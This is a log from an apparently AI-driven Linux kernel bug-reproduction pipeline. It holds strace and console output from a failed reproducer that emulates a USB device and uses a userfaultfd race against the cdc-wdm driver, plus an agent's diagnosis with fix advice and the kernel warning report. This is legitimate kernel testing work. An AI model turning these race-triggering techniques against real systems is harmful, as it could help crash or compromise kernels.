[ 64.446611][ T33] audit: type=1400 audit(1789170217.127:205): avc: denied { write } for pid=5843 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.486301][ T33] audit: type=1400 audit(1789170217.167:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.512616][ T33] audit: type=1400 audit(1789170217.187:207): avc: denied { read write } for pid=5847 comm="syz-executor317" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.513004][ T33] audit: type=1400 audit(1789170217.187:208): avc: denied { open } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.521297][ T33] audit: type=1400 audit(1789170217.187:209): avc: denied { ioctl } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.755527][ T807] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 64.796576][ T33] audit: type=1400 audit(1789170217.477:210): avc: denied { write } for pid=5855 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.906330][ T807] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[ 64.910080][ T807] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[+] Endpoint EP1 IN enabled (index 0).
[+] Waiting for /dev/cdc-wdmX to appear...
[ 64.921291][ T807] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 64.921338][ T807] cdc_wdm 1-1:1.0: Unknown control protocol
[+] Sending first notification on EP1...
[+] Sending second notification on EP1...
[+] Opened /dev/cdc-wdm0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[+] Second notification sent.
[+] Waiting for read() to block in userfaultfd...
[+] Calling read() on /dev/cdc-wdm0...
read uffd: Resource temporarily unavailable
[ 65.431072][ T2269] usb 1-1: USB disconnect, device number 2
[ 66.111439][ T33] kauditd_printk_skb: 14 callbacks suppressed
[ 66.111500][ T33] audit: type=1400 audit(1789170218.787:225): avc: denied { write } for pid=5887 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.148614][ T33] audit: type=1400 audit(1789170218.827:226): avc: denied { write } for pid=5890 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.042481][ T33] audit: type=1400 audit(1789170219.717:227): avc: denied { write } for pid=5893 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.081168][ T33] audit: type=1400 audit(1789170219.757:228): avc: denied { write } for pid=5896 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.577378][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.577456][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.696106][ T9] cfg80211: failed to load regulatory.db
TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor3438138509
<...>
[ 61.676506][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.676582][ T33] audit: type=1400 audit(1789170305.183:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.678386][ T33] audit: type=1400 audit(1789170305.193:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680019][ T33] audit: type=1400 audit(1789170305.193:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680038][ T33] audit: type=1400 audit(1789170305.193:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.644031][ T33] audit: type=1400 audit(1789170308.153:205): avc: denied { write } for pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.682627][ T33] audit: type=1400 audit(1789170308.193:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.113474][ T33] audit: type=1400 audit(1789170308.623:207): avc: denied { write } for pid=5841 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.154235][ T33] audit: type=1400 audit(1789170308.663:208): avc: denied { write } for pid=5844 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.225194][ T33] audit: type=1400 audit(1789170308.733:209): avc: denied { write } for pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.273133][ T33] audit: type=1400 audit(1789170308.783:210): avc: denied { write } for pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:33972' (ED25519) to the list of known hosts.
[ 66.499891][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.499963][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
execve("/syz-executor3438138509", ["/syz-executor3438138509"], 0x7ffdcc1c5810 /* 11 vars */) = 0
brk(NULL) = 0x55555f629000
brk(0x55555f629d80) = 0x55555f629d80
arch_prctl(ARCH_SET_FS, 0x55555f629400) = 0
set_tid_address(0x55555f6296d0) = 5883
set_robust_list(0x55555f6296e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor3438138509", 4096) = 23
getrandom("\x76\xe4\x26\xf4\x47\xa6\xcb\x1a", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55555f629d80
brk(0x55555f64ad80) = 0x55555f64ad80
brk(0x55555f64b000) = 0x55555f64b000
mprotect(0x7f97e5251000, 20480, PROT_READ) = 0
rt_sigaction(SIGRT_1, {sa_handler=0x7f97e51dcdd0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_RESTART|SA_SIGINFO, sa_restorer=0x7f97e51cbae0}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e4981000
mprotect(0x7f97e4982000, 8388608, PROT_READ|PROT_WRITE) = 0
rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e5181990, parent_tid=0x7f97e5181990, exit_signal=0, stack=0x7f97e4981000, stack_size=0x8002c0, tls=0x7f97e51816c0}/strace: Process 5885 attached
<unfinished ...>
[pid 5885] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5885]}, 88) = 5885
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5885] <... rseq resumed>) = 0
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5885] set_robust_list(0x7f97e51819a0, 24 <unfinished ...>
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...>
[pid 5885] <... set_robust_list resumed>) = 0
[pid 5883] <... mmap resumed>) = 0x7f97e4180000
[pid 5885] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5883] mprotect(0x7f97e4181000, 8388608, PROT_READ|PROT_WRITE <unfinished ...>
[pid 5885] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] <... mprotect resumed>) = 0
[pid 5885] openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e4980990, parent_tid=0x7f97e4980990, exit_signal=0, stack=0x7f97e4180000, stack_size=0x8002c0, tls=0x7f97e49806c0} => {parent_tid=[5886]}, 88) = 5886
[pid 5883] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5883] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL/strace: Process 5886 attached
[ 66.702645][ T33] kauditd_printk_skb: 6 callbacks suppressed
[ 66.702950][ T33] audit: type=1400 audit(1789170310.213:217): avc: denied { read write } for pid=5883 comm="syz-executor343" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
<unfinished ...>
[pid 5886] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5885] <... openat resumed>) = 3
[pid 5886] <... rseq resumed>) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_INIT, 0x7f97e5180f60 <unfinished ...>
[pid 5886] set_robust_list(0x7f97e49809a0, 24 <unfinished ...>
[pid 5885] <... ioctl resumed>) = 0
[pid 5886] <... set_robust_list resumed>) = 0
[pid 5886] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5886] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[ 66.709343][ T33] audit: type=1400 audit(1789170310.213:218): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 66.715036][ T33] audit: type=1400 audit(1789170310.233:219): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[pid 5885] ioctl(3, UI_DEV_CREATE or USB_RAW_IOCTL_RUN, 0) = 0
[pid 5885] write(1, "[+] Gadget initialized and running.", 35) = 35
[pid 5885] write(1, "\n", 1) = 1
[+] Gadget initialized and running.
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 66.947262][ T5619] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.022005][ T33] audit: type=1400 audit(1789170310.533:220): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.056937][ T33] audit: type=1400 audit(1789170310.573:221): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[ 67.098496][ T5619] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 9
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.128295][ T5619] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 32
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_READ, 0x7f97e51810d0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_CONFIGURE, 0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP_ENABLE, 0x7f97e5256137) = 0
[pid 5885] write(1, "[+] Endpoint EP1 IN enabled (index 0).\n", 39) = 39
[+] Endpoint EP1 IN enabled (index 0).
[pid 5885] futex(0x7f97e5257b70, FUTEX_WAKE_PRIVATE, 1000000 <unfinished ...>
[pid 5883] <... futex resumed>) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5885] <... futex resumed>) = 2
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080 <unfinished ...>
[pid 5883] write(1, "[+] Waiting for /dev/cdc-wdmX to appear...", 42) = 42
[pid 5883] write(1, "\n", 1) = 1
[+] Waiting for /dev/cdc-wdmX to appear...
[ 67.159645][ T5619] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 67.163184][ T5619] cdc_wdm 1-1:1.0: Unknown control protocol
[pid 5886] write(1, "[+] Sending first notification on EP1...", 40) = 40
[+] Sending first notification on EP1...
[pid 5886] write(1, "\n", 1) = 1
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100) = 8
[pid 5886] write(1, "[+] Sending second notification on EP1...", 41) = 41
[pid 5886] write(1, "\n", 1) = 1
[+] Sending second notification on EP1...
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100 <unfinished ...>
[ 67.658735][ T33] audit: type=1400 audit(1789170311.173:222): avc: denied { read write } for pid=5883 comm="syz-executor343" name="cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[ 67.659725][ T33] audit: type=1400 audit(1789170311.173:223): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[pid 5883] openat(AT_FDCWD, "/dev/cdc-wdm0", O_RDWR) = 4
[pid 5886] <... ioctl resumed>) = 8
[pid 5885] <... ioctl resumed>) = 0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5885] write(1, "[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...", 67) = 67
[pid 5885] write(1, "\n", 1) = 1
[pid 5885] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[pid 5883] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5886] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5885] futex(0x7f97e5257b64, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] write(1, "[+] Opened /dev/cdc-wdm0\n", 25 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 25
[+] Opened /dev/cdc-wdm0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 1
[pid 5886] <... futex resumed>) = 0
[pid 5883] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
[pid 5886] write(1, "[+] Second notification sent.", 29 <unfinished ...>
[pid 5883] <... mmap resumed>) = 0x7f97e417f000
[pid 5886] <... write resumed>) = 29
[pid 5883] userfaultfd(O_NONBLOCK|O_CLOEXEC <unfinished ...>
[ 67.680464][ T33] audit: type=1400 audit(1789170311.193:224): avc: denied { create } for pid=5883 comm="syz-executor343" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[+] Second notification sent.
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] <... userfaultfd resumed>) = 5
[pid 5886] <... write resumed>) = 1
[pid 5883] ioctl(5, UFFDIO_API, {api=0xaa, features=0 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
[pid 5883] <... ioctl resumed> => features=UFFD_FEATURE_PAGEFAULT_FLAG_WP|UFFD_FEATURE_EVENT_FORK|UFFD_FEATURE_EVENT_REMAP|UFFD_FEATURE_EVENT_REMOVE|UFFD_FEATURE_MISSING_HUGETLBFS|UFFD_FEATURE_MISSING_SHMEM|UFFD_FEATURE_EVENT_UNMAP|UFFD_FEATURE_SIGBUS|UFFD_FEATURE_THREAD_ID|UFFD_FEATURE_MINOR_HUGETLBFS|UFFD_FEATURE_MINOR_SHMEM|UFFD_FEATURE_EXACT_ADDRESS|UFFD_FEATURE_POISON|UFFD_FEATURE_MOVE|0x60000, ioctls=1<<_UFFDIO_REGISTER|1<<_UFFDIO_UNREGISTER|1<<_UFFDIO_API|0x400}) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5886] futex(0x7f97e5257b64, FUTEX_WAKE_PRIVATE, 1000000) = 1
[pid 5885] <... futex resumed>) = 0
[ 67.699543][ T33] audit: type=1400 audit(1789170311.213:225): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 ioctlcmd=0xaa3f scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5886] write(1, "[+] Waiting for read() to block in userfaultfd...", 49 <unfinished ...>
[pid 5883] ioctl(5, UFFDIO_REGISTER, {range={start=0x7f97e417f000, len=0x1000}, mode=UFFDIO_REGISTER_MODE_MISSING <unfinished ...>
[pid 5886] <... write resumed>) = 49
[pid 5883] <... ioctl resumed>, ioctls=1<<_UFFDIO_WAKE|1<<_UFFDIO_COPY|1<<_UFFDIO_ZEROPAGE|1<<_UFFDIO_MOVE|1<<_UFFDIO_POISON}) = 0
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e397e000
[pid 5883] mprotect(0x7f97e397f000, 8388608, PROT_READ|PROT_WRITE) = 0
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e417e990, parent_tid=0x7f97e417e990, exit_signal=0, stack=0x7f97e397e000, stack_size=0x8002c0, tls=0x7f97e417e6c0}/strace: Process 5895 attached
<unfinished ...>
[pid 5895] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5895]}, 88) = 5895
[+] Waiting for read() to block in userfaultfd...
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5895] <... rseq resumed>) = 0
[pid 5886] <... write resumed>) = 1
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] write(1, "[+] Calling read() on /dev/cdc-wdm0...\n", 39 <unfinished ...>
[pid 5895] set_robust_list(0x7f97e417e9a0, 24 <unfinished ...>
[pid 5886] futex(0x7f97e5257b6c, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 39
[pid 5895] <... set_robust_list resumed>) = 0
[pid 5883] read(4 <unfinished ...>
[+] Calling read() on /dev/cdc-wdm0...
[pid 5895] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5895] read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN (Resource temporarily unavailable)
[ 67.722419][ T33] audit: type=1400 audit(1789170311.233:226): avc: denied { read } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5895] dup(2) = 6
[pid 5895] fcntl(6, F_GETFL) = 0x1 (flags O_WRONLY)
[pid 5895] close(6) = 0
[pid 5895] mmap(NULL, 134217728, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f97db800000
[pid 5895] munmap(0x7f97db800000, 8388608) = 0
[pid 5895] munmap(0x7f97e0000000, 58720256) = 0
[pid 5895] mprotect(0x7f97dc000000, 135168, PROT_READ|PROT_WRITE) = 0
[pid 5895] write(2, "read uffd: Resource temporarily unavailable\n", 44read uffd: Resource temporarily unavailable
) = 44
[pid 5895] exit_group(1 <unfinished ...>
[pid 5886] <... futex resumed>) = ?
[pid 5883] <... read resumed> <unfinished ...>) = ?
[pid 5895] <... exit_group resumed>) = ?
[pid 5886] +++ exited with 1 +++
[pid 5885] +++ exited with 1 +++
[pid 5895] +++ exited with 1 +++
[ 67.745545][ T51] usb 1-1: USB disconnect, device number 2
+++ exited with 1 +++
[ 76.738503][ T10] cfg80211: failed to load regulatory.db
]
|
| 428/3 |
2026/09/11 23:45 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`. ProbePassed:false TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Provide a clear technical diagnosis in the feedback identifying the failing call,
return code (errno), and error messages so the strategy-refiner can analyze the root cause.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
